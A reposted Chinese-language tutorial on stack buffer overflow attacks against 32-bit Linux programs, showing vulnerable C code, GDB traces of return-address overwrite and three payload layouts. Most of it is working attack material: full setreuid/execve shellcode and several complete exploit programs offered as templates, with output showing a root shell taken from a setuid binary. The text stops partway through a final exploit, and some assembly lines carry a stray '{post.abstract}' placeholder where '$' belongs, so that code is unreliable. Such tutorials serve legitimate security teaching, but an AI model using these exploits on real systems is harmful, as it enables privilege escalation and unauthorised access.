[轉]緩沖區溢出攻擊(含示例)


淺顯易懂 適合初學 
2007年12月08日 星期六 08:49 P.M. 
這篇是我見過的寫的最細致關於緩沖區溢出攻擊的文章,淺顯易懂,適合初學 
我就借花獻佛,希望需要的人能找到......... 


i.預備知識 
ii.溢出原理演示 
iii.三種常用溢出方法演示及實例分析 

本來預備講的東西很多,后來由於篇幅過長原因,所以其他一些內容就沒有再講了,比如與環境變量 
傳遞的BUF有關的溢出(通過setenv(),putenv()等函數傳遞環境變量到BUF),以及一些實例分析.這篇 
是我在學習BUFFER OVERFLOW過程中的一些心得,算是一個總結,同時也希望能幫助那些需要的 
朋友們. 


1.預備知識 

由於篇幅問題,在這里就省略了,具體可以參照匯編教程,或其他緩沖區溢出教程中的預備知識. 

這里僅僅請不太清楚的朋友先弄懂STACK,ESP,EBP,EIP等基本概念. 

# %esp 是堆棧指針寄存器,它指向當前堆棧儲存區域的頂部. 

# %ebp 是基址寄存器,它指向當前堆棧儲存區域的底部. 

# %eip 是指令指針(在緩沖區溢出中對我們最有用的寄存器) 

2.三種常用溢出方法. 

首先,我們來看一個有漏洞的程序 

[tt@ph4nt0m explab]$ cat stack1.c 
#include<stdio.h> 
int main(int argc,char **argv){ 
      char buf[10]; 
      strcpy(buf,argv[1]); 
      printf("buf's 0x%8x\n",&buf); 
      return 0; 

[tt@ph4nt0m explab]$ 

這里做了什么呢?就是構造一個10BYTES的BUFFER,然后把命令行的第一個參數拷貝進緩沖區 
由於沒有進行邊界檢察,所以當argv[1]超過10bytes時,就會造成緩沖區溢出.當然,在理論上是只 
需要超過10BYTES,但是,實際上由於GCC的版本問題,所以往往在BUFFER后面添加了很多填充物 
,所以實際上我們需要28BYTES才能真正覆蓋BUFFER,我們還是實際來看一下 

[tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x10'` 
buf's 0xbfffec30 
[tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x24'` 
buf's 0xbffff220 
[tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x28'` 
buf's 0xbfffe020 
段錯誤 
[tt@ph4nt0m explab]$ 

可見當覆蓋10BYTES的"A"時,程序正常退出,24BYTES也是如此,直到28BYTES時,才發生SEGMENT FAULT 

我們用GDB來調試一下會比較清楚 

[tt@ph4nt0m explab]$ gdb stack1 
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) 
Copyright 2003 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB. Type "show warranty" for details. 
This GDB was configured as "i386-redhat-linux-gnu"... 
(gdb) disass main 
Dump of assembler code for function main: 
0x0804835c <main+0>: push %ebp 
0x0804835d <main+1>: mov %esp,%ebp 
0x0804835f <main+3>: sub {post.abstract}x18,%esp 
0x08048362 <main+6>: and {post.abstract}xfffffff0,%esp 
0x08048365 <main+9>: mov {post.abstract}x0,%eax 
0x0804836a <main+14>: sub %eax,%esp 
0x0804836c <main+16>: sub {post.abstract}x8,%esp 
0x0804836f <main+19>: mov 0xc(%ebp),%eax 
0x08048372 <main+22>: add {post.abstract}x4,%eax 
......<以下略>...... 

這里我們只需要注意到 
0x0804835f <main+3>: sub {post.abstract}x18,%esp 

0x18等於10進制的24 
事實上,內存中為BUFFER分配了24字節的空間,所以就不難解釋上面的結論了. 
那么接下來的4BYTES當然就造成了SEGMENT FAULT 

那么,我們到底覆蓋了什么呢?重新運行程序,用28BYTES覆蓋 

(gdb) r `perl -e 'print "A"x28'` 
Starting program: /home/tt/explab/stack1 `perl -e 'print "A"x28'` 
buf's 0xbffff110 

Program received signal SIGSEGV, Segmentation fault. 
0x42015501 in __libc_start_main () from /lib/tls/libc.so.6 
(gdb) i reg 
eax 0x0 0 
ecx 0x4212ee20 1108536864 
edx 0x11 17 
ebx 0x42130a14 1108544020 
esp 0xbffff130 0xbffff130 
ebp 0x41414141 0x41414141 
esi 0x40015360 1073828704 
edi 0x80483d1 134513617 
eip 0x42015501 0x42015501 
eflags 0x10206 66054 

再次重新運行,這次再多加4BYTES,即用32BYTES覆蓋 

(gdb) r `perl -e 'print "A"x32'` 
Starting program: /home/tt/explab/stack1 `perl -e 'print "A"x32'` 
buf's 0xbffff610 

Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ?? () 
(gdb) i reg 
eax 0x0 0 
ecx 0x4212ee20 1108536864 
edx 0x11 17 
ebx 0x42130a14 1108544020 
esp 0xbffff630 0xbffff630 
ebp 0x41414141 0x41414141 
esi 0x40015360 1073828704 
edi 0x80483d0 134513616 
eip 0x41414141 0x41414141 
eflags 0x10282 66178 

通過上面兩個實例,可以看到,當28BYTES時,將覆蓋EBP,32BYTES時,將覆蓋EIP 
(注:A的ASCII碼值為41) 

所以內存中實際上是這樣分布的 

+---------+ 
| buf    | 
+---------+ 
| 填充物 | 
+---------+ 
| EBP    | 
+---------+ 
| EIP    | 
+---------+ 
| ...... | 
| 內存高址| 


所以,當我們覆蓋了EIP后,就可以改變程序的流程,在上面用0x41414141覆蓋,在內存中不可讀 
當然就造成了段錯誤 

注意,我們要覆蓋的EIP那個值,應該是我們要運行代碼的入口地址,而不是代碼本身. 

我們再來做一個演示 

[tt@ph4nt0m explab]$ cat stackdemo.c 
#include<stdio.h> 
void fun(){ 
       printf("test,being hacked!!!\n\n"); 

int main(int argc,char **argv){ 
       char buf[10]; 
       strcpy(buf,argv[1]); 
       printf("buf's 0x%8x\n",&buf); 
       printf("fun is at 0x%8x\n",fun); 
       return 0; 


[tt@ph4nt0m explab]$ 

與之前略有區別的是這個程序中多了一個函數FUN,但是在MAIN()中沒有調用,所以程序應該不調用 
FUN而正常結束.我們目標是溢出后,要能調用FUN 

通過前面的結論,我們知道,覆蓋28字節后,再加上4字節將覆蓋EIP,所以,只需要把這4字節,設置成FUN的 
入口地址就可以了 ! 


我們具體來看.為了方便起見,我在程序中打印出了FUN函數的地址,當然也可以通過GDB 里disass fun來 
得到這個地址,結果是一樣的 

[tt@ph4nt0m explab]$ ./stackdemo test 
buf's 0xbfffe130 
fun is at 0x 804835c 
[tt@ph4nt0m explab]$ 

可以看到函數fun的入口地址在0x0804835c 

所以我們這樣來構造應該可以調用到函數fun 

[tt@ph4nt0m explab]$ ./stackdemo `perl -e 'print "A"x28;print "\x5c\x83\x04\x08"'` 
buf's 0xbfffe090 
fun is at 0x 804835c 
test,being hacked!!! 

段錯誤 
[tt@ph4nt0m explab]$ 


果然成功了!函數fun成功執行了! 

通過上面的分析,我們已經基本上掌握了程序運行時,內存中的分布,那么,現在來看真正的攻擊 

我們通過覆蓋EIP,改變程序流程,從而執行SHELLCODE,得到一個SHELL 

下面介紹常用的三種方法. 

1.NNNNNNNNNSSSSSSSSSSSRRRRRRRRRRRRRR型 

這種方法適合於大緩沖區,是很傳統的方法,記得ALPHA ONE在他的經典著作中就是用的這個方法 

這里N代表NOPS,也就是0x90,在實際運行中,程序將什么也不做,而是一直延着這些NOPS運行下去, 
直到遇到不是NOPS的指令再執行之. 

使用大量NOPS的原因是為了增加EXPLOIT成功的機率. 

S代表SHELLCODE,也就是我們要執行的一段代碼,得到SHELL,SHELLCODE的相關問題請參考相關文檔. 

R代表返回地址,在下面我都用ret表示,是我們用來覆蓋EIP的那個值,他將指向SHELLCODE 


如前所述,這種方法適合於大的緩沖區,因為如果緩沖區太小,可能放不下SHELLCODE,那樣就不能用RET來 
正確的覆蓋EIP,從而無法得到我們想要的結果.同時,就算能放下SHELLCODE,前面的NOPS放的太少,也 
會大大影響EXPLOIT的成功率. 

我們來看實際例子 

[tt@ph4nt0m explab]$ cat stack2.c 
#include<stdio.h> 

int main(int argc,char **argv){ 
      char buf[500]; 
      strcpy(buf,argv[1]); 
      printf("buf's 0x%8x\n",&buf); 
      return 0; 


[tt@ph4nt0m explab]$ 

我們設置了一個BUF為500字節的大BUFFER,用前面的方法,用GDB反匯編得到覆蓋EIP 
所需的字節.當然,這里為了演示我們還可以用另外一個方法:二分法 

就是不斷測試造成溢出所需字節數,來判斷覆蓋所需要字節 

[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x500'` 
buf's 0xbfffde50 
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x600'` 
buf's 0xbfffebf0 
段錯誤 
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x550'` 
buf's 0xbfffe7a0 
段錯誤 
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x530'` 
buf's 0xbffff0c0 
段錯誤 
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x520'` 
buf's 0xbfffe440 
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x525'` 
buf's 0xbfffe0c0 
段錯誤 
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x524'` 
buf's 0xbfffe1c0 
段錯誤 
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x521'` 
buf's 0xbfffe040 
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x522'` 
buf's 0xbffff040 
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x523'` 
buf's 0xbffff140 
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x524'` 
buf's 0xbfffeec0 
段錯誤 
[tt@ph4nt0m explab]$ 

這樣,最后我們就確定了溢出點,和反匯編的結果一致 
(gdb) r `perl -e 'print "A"x524'` 
Starting program: /home/tt/explab/stack2 `perl -e 'print "A"x524'` 
buf's 0xbfffd830 

Program received signal SIGSEGV, Segmentation fault. 
0x42015501 in __libc_start_main () from /lib/tls/libc.so.6 
(gdb) i reg 
eax 0x0 0 
ecx 0x4212ee20 1108536864 
edx 0x11 17 
ebx 0x42130a14 1108544020 
esp 0xbfffda40 0xbfffda40 
ebp 0x41414141 0x41414141 
esi 0x40015360 1073828704 
edi 0x80483d9 134513625 
eip 0x42015501 0x42015501 
eflags 0x10202 66050 

(gdb) disass main 
Dump of assembler code for function main: 
0x0804835c <main+0>: push %ebp 
0x0804835d <main+1>: mov %esp,%ebp 
0x0804835f <main+3>: sub {post.abstract}x208,%esp ====>這里:0x208=520,所以524覆蓋了EBP 
0x08048365 <main+9>: and {post.abstract}xfffffff0,%esp 
0x08048368 <main+12>: mov {post.abstract}x0,%eax 
...... ...... 


這樣,算法清楚后,就可以開始寫我們的EXPLOIT了 

下面是我寫的一個演示的EXPLOIT,可以作為類似EXPLOIT的模板. 

[tt@ph4nt0m explab]$ cat stackexp2.c 
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 

char shellcode[]= 
// setreuid(0,0); 
"\x31\xc0" // xor %eax,%eax 
"\x31\xdb" // xor %ebx,%ebx 
"\x31\xc9" // xor %ecx,%ecx 
"\xb0\x46" // mov {post.abstract}x46,%al 
"\xcd\x80" // int {post.abstract}x80 

// execve /bin/sh 
"\x31\xc0" // xor %eax,%eax 
"\x50" // push %eax 
"\x68\x2f\x2f\x73\x68" // push {post.abstract}x68732f2f 
"\x68\x2f\x62\x69\x6e" // push {post.abstract}x6e69622f 
"\x89\xe3" // mov %esp,%ebx 
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx 
"\x50" // push %eax 
"\x53" // push %ebx 
"\x8d\x0c\x24" // lea (%esp,1),%ecx 
"\xb0\x0b" // mov {post.abstract}xb,%al 
"\xcd\x80" // int {post.abstract}x80 

// exit(); 
"\x31\xc0" // xor %eax,%eax 
"\xb0\x01" // mov {post.abstract}x1,%al 
"\xcd\x80"; // int {post.abstract}x80 


unsigned long get_esp(){ 
      __asm__("movl %esp,%eax"); 



int main(int argc,char *argv[]){ 
      char buf[530]; 
      char* p; 
      p=buf; 
      int i; 
      unsigned long ret; 
      int offset=0; 

      /* offset=400 will success */ 
      if(argc>1) 
           offset=atoi(argv[1]); 

      ret=get_esp()-offset; 

      memset(buf,0x90,sizeof(buf)); 

      memcpy(buf+524,(char*)&ret,4); 

      /* modify this value will modify nops and shellcode addr */ 
      memcpy(buf+i+100,shellcode,strlen(shellcode)); 

      printf("ret is at 0x%8x\n esp is at 0x%8x\n",ret,get_esp()); 

      execl("./stack2","stack2",buf,NULL); 

      return 0; 

[tt@ph4nt0m explab]$ 

先用 
memset(buf,0x90,sizeof(buf)); 
把整個BUF填滿NOPS 

再 
memcpy(buf+i+100,shellcode,strlen(shellcode)); 
從BUF[100]開始填充SHELLCODE,前面和后面都是NOPS 
當然可以增大NOPS的數目,這可以修改100這個值,但是要記住不要讓SHELLCODE把EIP給覆蓋了! 

再接下來就是 
memcpy(buf+524,(char*)&ret,4); 
把EIP用我們的RET覆蓋,讓程序跳轉到NOPS里面,一直到執行我們的SHELLCODE 
(前面不是提過NOPS的特性嗎?) 

最后就是用 
execl("./stack2","stack2",buf,NULL); 
來執行漏洞程序,並把我們精心構造的BUF拷貝進去了! 
注意,EXPLOIT里面的BUF是我們自己精心構造的! 

剩下的一個難點就是RET的值的確定 

因為程序的流程已經很清楚了,但是RET是我們必需要小心控制的,因為他不能落到別的地方,必需落 
到我們的NOPS里面! 

這里使用的方法一般是ESP-OFFSET的方法 

所以我們先 
unsigned long get_esp(){ 
__asm__("movl %esp,%eax"); 



取得ESP的值,雖然這個值和EXECL后漏洞程序的ESP的值不同,但不會相差很遠.然后再用OFFSET來調整, 
這樣就可以得到正確的RET值了. 

我們打印出BUF的地址,因為我們的NOPS是從BUF開始的,所以只需要直到BUF的地址,把RET控制在&BUF+100 
的范圍內,就可以保證RET落在NOPS中! 

具體可以通過GDB調試來看 


(gdb) r 
Starting program: /home/tt/explab/stackexp2 
ret is at 0xbffff2c0 
esp is at 0xbffff2f8 

Program received signal SIGTRAP, Trace/breakpoint trap. 
0x40000be0 in _start () from /lib/ld-linux.so.2 
(gdb) c 
Continuing. 
buf's 0xbfffea40 

Program received signal SIGSEGV, Segmentation fault. 
0xbffff2c0 in ?? () 
(gdb) i reg eip ebp esp 
eip 0xbffff2c0 0xbffff2c0 
ebp 0x90909090 0x90909090 
esp 0xbfffec50 0xbfffec50 
(gdb) x/50x $esp-532 
0xbfffea3c: 0x00000000 0x90909090 0x90909090 0x90909090 
0xbfffea4c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffea5c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffea6c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffea7c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffea8c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffea9c: 0x90909090 0x90909090 0xdb31c031 0x46b0c931 
0xbfffeaac: 0xc03180cd 0x2f2f6850 0x2f686873 0x896e6962 
0xbfffeabc: 0x24548de3 0x8d535008 0x0bb0240c 0xc03180cd 
0xbfffeacc: 0x80cd01b0 0x90909090 0x90909090 0x90909090 
0xbfffeadc: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffeaec: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffeafc: 0x90909090 0x90909090 
(gdb) 

看到了我們的SHELLCODE了吧! 

但是我們的RET沒有跳到這里來, 
(gdb) i reg eip ebp esp 
eip 0xbffff2c0 0xbffff2c0 
我們的RET現在跳到這里去了...... 

那么我們改變OFFSET 

[tt@ph4nt0m explab]$ ./stackexp2 
ret is at 0xbfffe0c0 
esp is at 0xbfffe0f8 
buf's 0xbfffd930 
段錯誤 
[tt@ph4nt0m explab]$ ./stackexp2 100 
ret is at 0xbfffd7a4 
esp is at 0xbfffd7f8 
buf's 0xbfffd630 
段錯誤 
[tt@ph4nt0m explab]$ ./stackexp2 200 
ret is at 0xbffff0c0 
esp is at 0xbffff178 
buf's 0xbfffefb0 
段錯誤 
[tt@ph4nt0m explab]$ ./stackexp2 300 
ret is at 0xbfffeb5c 
esp is at 0xbfffec78 
buf's 0xbfffeab0 
非法指令 
[tt@ph4nt0m explab]$ ./stackexp2 400 
ret is at 0xbfffd6f8 
esp is at 0xbfffd878 
buf's 0xbfffd6b0 
sh-2.05b$ 

看!當我們的OFFSET到400時,就成功溢出拿到SHELL了! 

為什么不是ROOT? 
那是因為我們的漏洞程序stack2沒有加上s位 
當我們加上s位后 

[tt@ph4nt0m explab]$ ls stack2 -l 
-rwsrwsr-x 1 root root 11673 7月 21 15:42 stack2 
[tt@ph4nt0m explab]$ ./stackexp2 400 
ret is at 0xbfffd8f8 
esp is at 0xbfffda78 
buf's 0xbfffd8b0 
sh-2.05b# 

看!拿到ROOT SHELL了,中彩票了!!! 

2.RRRRRRRRRRNNNNNNNNNNNSSSSSSSSSS型 

這種方法同樣適合於大的和小的緩沖區,而且RET地址容易計算,明顯優於前一種方法! 

原理是: 
首先將整個BUF填滿RET,一直到保證RET已經覆蓋了EIP,接下來在RET之后緊跟大量的NOPS, 
最后當然就是我們的SHELLCODE! 

而RET地址在這里也非常好確定,因為整個BUF的大小是我們自給確定的(這里的BUF是我們構造 
的BUF,而不是原來程序中的那個被溢出的BUF),所以只需要在BUF的起始地址再加上一個OFFSET 
就可以讓RET落在NOPS里面了. 

我們看原來的第一個例子 

[tt@ph4nt0m explab]$ cat stack1.c 
#include<stdio.h> 

int main(int argc,char **argv){ 
       char buf[10]; 
       strcpy(buf,argv[1]); 
       printf("buf's 0x%8x\n",&buf); 
       return 0; 


[tt@ph4nt0m explab]$ 

在stack1.c里,buf只有10BYTES,就算加上GCC分配的填充物也只有28BYTES可以利用,很可能放 
不下我們的SHELLCODE,所以第一種方法在這里就不適用了. 

我們采用RRRRNNNNSSSSS型的填充方法. 

下面是我寫的一個演示EXPLOIT,可以作為類似EXPLOIT的模板 

[tt@ph4nt0m explab]$ cat stackexp3.c 
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 

char shellcode[]= 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x17" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x17" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x2e" 
"\xcd\x80" 
"\x31\xc0" 
"\x50" 
"\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x31\xd2" 
"\xb0\x0b" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x01" 
"\xcd\x80"; 

int main(int argc,char **argv){ 
      char buf[500]; 
      unsigned long ret,p; 
      int i; 

      p=&buf; 
      ret=p+70; 

     memset(buf,0x90,sizeof(buf)); 

     for(i=0;i<44;i+=4) 
           *(long *)&buf[i]=ret; 

     memcpy(buf+400+i,shellcode,strlen(shellcode)); 

     execl("./stack1","stack1",buf,NULL); 

     return 0; 

[tt@ph4nt0m explab]$ 

先分配一個500BYTES的大BUF,用於我們的構造 
把整個BUFFER填滿NOPS 
memset(buf,0x90,sizeof(buf)); 

然后把前44BYTES填滿RET,這里的44是隨便選的,目的只是需要保證覆蓋調EIP就可以了. 
從前面的分析直到,當覆蓋32BYTES時,就會覆蓋掉EIP,所以44可以達到我們的要求. 
for(i=0;i<44;i+=4) 
*(long *)&buf[i]=ret; 

接下來把SHELLCODE復制到合適的位置. 
memcpy(buf+400+i,shellcode,strlen(shellcode)); 
這樣在SHELLCODE前面幾乎有300多個NOPS,成功機率非常大. 

最后再執行漏洞程序,拷貝我們精心構造的BUF到目標程序 


剩下的關鍵問題是RET值的確定問題 
如前所述,RET的值應該是BUF的起始地址加上一個OFFSET,使得RET能夠落在NOPS里面 

我們的BUF的結構是RRRRRRNNNNNNNSSSSSS 
而RET是從BUF的起始地址開始填充起的,所以,只需要OFFSET能夠跳過RET,就可以落到NOPS 
里了. 

從而我們這樣計算 
p=&buf; 

ret=p+70; 

顯然,70>44,所以在這個例子中,RET可以跳到NOPS中執行.我們實際來看看 

[tt@ph4nt0m explab]$ ./stackexp3 
buf's 0xbfffef40 
sh-2.05b# 

內存分布如下 

(gdb) x/50x $esp-36 
0xbfffdcdc: 0x08048269 0xbfffe186 0xbfffe186 0xbfffe186 
0xbfffdcec: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186 
0xbfffdcfc: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186 
0xbfffdd0c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffdd1c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffdd2c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffdd3c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffdd4c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffdd5c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffdd6c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffdd7c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffdd8c: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffdd9c: 0x90909090 0x90909090 
(gdb) 
...... 
(gdb) 
0xbfffde70: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090 
0xbfffde90: 0x90909090 0x90909090 0x90909090 0xd889db31 
0xbfffdea0: 0x80cd17b0 0xd889db31 0x80cd17b0 0xd889db31 
0xbfffdeb0: 0x80cd2eb0 0x6850c031 0x68732f2f 0x69622f68 
0xbfffdec0: 0x50e3896e 0x31e18953 0xcd0bb0d2 0x89db3180 
0xbfffded0: 0xcd01b0d8 0x0000c680 0x00000000 0x00000000 
0xbfffdee0: 0x00000000 0x00000000 0x00000000 0x00000000 
0xbfffdef0: 0x00000000 0x00000000 0x00000000 0x00000000 

中間省略的是大量NOPS,正如我們想要的那樣,BUF按照我們需要的RRRRRNNNNNSSSSS 
方式填充了! 

3.利用環境變量 

這是目前最有效也最常用的一種方法.適應能力強,而且可以精確定位SHELLCODE的地址, 
所以連NOPS都可以不必要,這樣帶來的好處是繞過了一些環境的安全檢察,因為大量的NOPS 
肯可能會被檢測出來而無法通過執行. 

函數execve()是一個比較特殊的函數,他的某些特性能讓我們寫EXPLOIT事半功倍. 

具體原理可以參考OYXin翻譯的<<利用execve()函數寫無nops exploit>> 
可以在http://www.ph4nt0m.net/docs/env.txt找到這篇文章. 

簡單來說就是把SHELLCODE放到環境變量里.execve()可以提供一個全新的環境給程序.從內存 
高址0xc0000000開始計算起,文件名,程序execve()后的環境和參數將被COPY進內存. 

這樣,只要按照一定順序,我們就可以公式般計算SHELLCODE的准確位置! 
SHELLCODE地址的計算方法是 
0xc0000000 - 0x04 - sizeof(filename) - sizeof(shellcode) 

這個時候,我們的BUF構造就相對非常簡單了.只需要AAAAAAAAR的方式來進行填充 
A只需要填充BUF一直到EBP,最后的EIP用一個RET進行覆蓋,RET准確的指向SHELLCODE的地址 
最后再用SHELLCODE執行整個程序就可以了 ! 


我們還是針對stack1.c來進行溢出 
[tt@ph4nt0m explab]$ cat stack1.c 
#include<stdio.h> 

int main(int argc,char **argv){ 
       char buf[10]; 
       strcpy(buf,argv[1]); 
       printf("buf's 0x%8x\n",&buf); 
       return 0; 


[tt@ph4nt0m explab]$ 

下面是我寫的一個演示的EXPLOIT,可以作為類似EXPLOIT的一個模板 

[tt@ph4nt0m explab]$ cat stackexp1.c 
#include<stdio.h> 

char shellcode[]= 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x17" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x17" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x2e" 
"\xcd\x80" 
"\x31\xc0" 
"\x50" 
"\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x31\xd2" 
"\xb0\x0b" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x01" 
"\xcd\x80"; 

int main(int argc,char **argv){ 
      char buf[32]; 
      char *p[]={"./stack1",buf,NULL}; 
      char *env[]={"HOME=/root",shellcode,NULL}; 
      unsigned long ret; 
      ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *); 

      memset(buf,0x41,sizeof(buf)); 
      memcpy(&buf[28],&ret,4); 

      printf("ret is at 0x%8x\n",ret); 
      execve(p[0],p,env); 

      return 0; 

[tt@ph4nt0m explab]$ 

把SHELLCODE放入將要執行的環境變量中 
char *env[]={"HOME=/root",shellcode,NULL}; 

把整個BUF用A填滿 
memset(buf,0x41,sizeof(buf)); 

計算RET的值,並覆蓋EIP 
ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *); 
...... 
memcpy(&buf[28],&ret,4); 

最后執行execve() 
execve(p[0],p,env); 


我們來看看運行EXPLOIT的內存分布 


(gdb) b execve 
Breakpoint 1 at 0x80482ec 
(gdb) r 
Starting program: /home/tt/explab/stackexp1 
Breakpoint 1 at 0x420ac7f6 
ret is at 0xbfffffbb 

Breakpoint 1, 0x420ac7f6 in execve () from /lib/tls/libc.so.6 
(gdb) i reg 
eax 0xbfffe190 -1073749616 
ecx 0x4212ee20 1108536864 
edx 0x15 21 
ebx 0x42130a14 1108544020 
esp 0xbfffe150 0xbfffe150 
ebp 0xbfffe158 0xbfffe158 
esi 0x40015360 1073828704 
edi 0x80484dc 134513884 
eip 0x420ac7f6 0x420ac7f6 
eflags 0x286 646 
...... 

(gdb) x/50x $esp 
0xbfffe150: 0x420ac7f0 0x40015a38 0xbfffe1c8 0x080484a2 
0xbfffe160: 0x08048558 0xbfffe190 0xbfffe180 0x4207a750 
0xbfffe170: 0x4000807f 0x4001582c 0x00000036 0xbfffffbb 
0xbfffe180: 0x08048561 0x080495c0 0x00000000 0x40016380 
0xbfffe190: 0x08048558 0xbfffe1a0 0x00000000 0x0804837a 
0xbfffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbfffe1b0: 0x41414141 0x41414141 0x41414141 0xbfffffbb 
0xbfffe1c0: 0x42130a14 0x40015360 0xbfffe1e8 0x42015574 
0xbfffe1d0: 0x00000001 0xbfffe214 0xbfffe21c 0x4001582c 
...... 

(gdb) c 
...... 
(gdb) x/50x $esp 
...... 
0xbfffff40: 0x00000000 0x00000000 0x00000000 0x00000000 
0xbfffff50: 0x00000000 0x00000000 0x00000000 0x00000000 
0xbfffff60: 0x00000000 0x00000000 0x00000000 0x36690000 
0xbfffff70: 0x2e003638 0x6174732f 0x00316b63 0x41414141 
0xbfffff80: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbfffff90: 0x41414141 0x41414141 0xbfffffbb 0x42130a14 
0xbfffffa0: 0x40015360 0xbfffe1e8 0x42015574 0x4f480001 
0xbfffffb0: 0x2f3d454d 0x746f6f72 0x89db3100 0xcd17b0d8 
0xbfffffc0: 0x89db3180 0xcd17b0d8 
(gdb) 
0xbfffffc8: 0x89db3180 0xcd2eb0d8 0x50c03180 0x732f2f68 
0xbfffffd8: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0d231 
0xbfffffe8: 0xdb3180cd 0x01b0d889 0x2e0080cd 0x6174732f 
0xbffffff8: 0x00316b63 0x00000000 Cannot access memory at address 0xc0000000 

(gdb) x/50x 0xbfffffc1 
0xbfffffc1: 0xd889db31 0x80cd17b0 0xd889db31 0x80cd2eb0 
0xbfffffd1: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 
0xbfffffe1: 0x31e18953 0xcd0bb0d2 0x89db3180 0xcd01b0d8 
0xbffffff1: 0x2f2e0080 0x63617473 0x0000316b Cannot access memory at address 0xbffffffd 
(gdb) 


我們已經可以看到程序按照我們的想法執行了. 

[tt@ph4nt0m explab]$ ./stackexp1 
ret is at 0xbfffffbb 
buf's 0xbffffc60 
sh-2.05b# 


以上是三種常用的方法. 

最后,簡單說說關於傳遞環境變量到BUF造成溢出的問題 

很多程序由於沒有對環境變量進行邊界檢查,所以當賦予環境變量一個超長的值時, 
運行該有漏洞的程序,將把環境變量拷貝進緩沖區,造成溢出. 

通常通過setenv(),putenv()等函數進行傳遞被我們構造的環境變量 

由於篇幅關系,這里不再詳悉敘述,僅僅給出一個例子和我寫的一個相應的EXPLOIT作為參考. 

[tt@ph4nt0m explab]$ cat env1.c 
#include <stdio.h> 
#include <stdlib.h> 

int main(int argc, char **argv){ 
       char buffer[500]; 

       printf("buf addr is- %p -\n", &buffer); 
       strcpy(buffer, getenv("PH4NT0M")); 

       return 0; 

[tt@ph4nt0m explab]$ 

下面是我寫的一個演示EXPLOIT,可以作為類似EXPLOIT的一個模板 

[tt@ph4nt0m explab]$ cat envexp1.c 
#include <stdlib.h> 
#include <unistd.h> 

char shellcode[]= 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x17" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x17" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x2e" 
"\xcd\x80" 
"\x31\xc0" 
"\x50" 
"\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x31\xd2" 
"\xb0\x0b" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x01" 
"\xcd\x80"; 

unsigned long get_esp(){ 
     __asm__("movl %esp,%eax"); 


int main(int argc, char **argv){ 
     char buf[528]; 
     int i; 
     int offset=90; 
     unsigned long ret; 
     memset(buf,0x90,sizeof(buf)); 

     /* set offset to 100 to spawn a shell! */ 
     if(argc>1) 
     offset=atoi(argv[1]); 

     ret=get_esp()-offset; 

     memcpy(buf+524,&ret,4); 
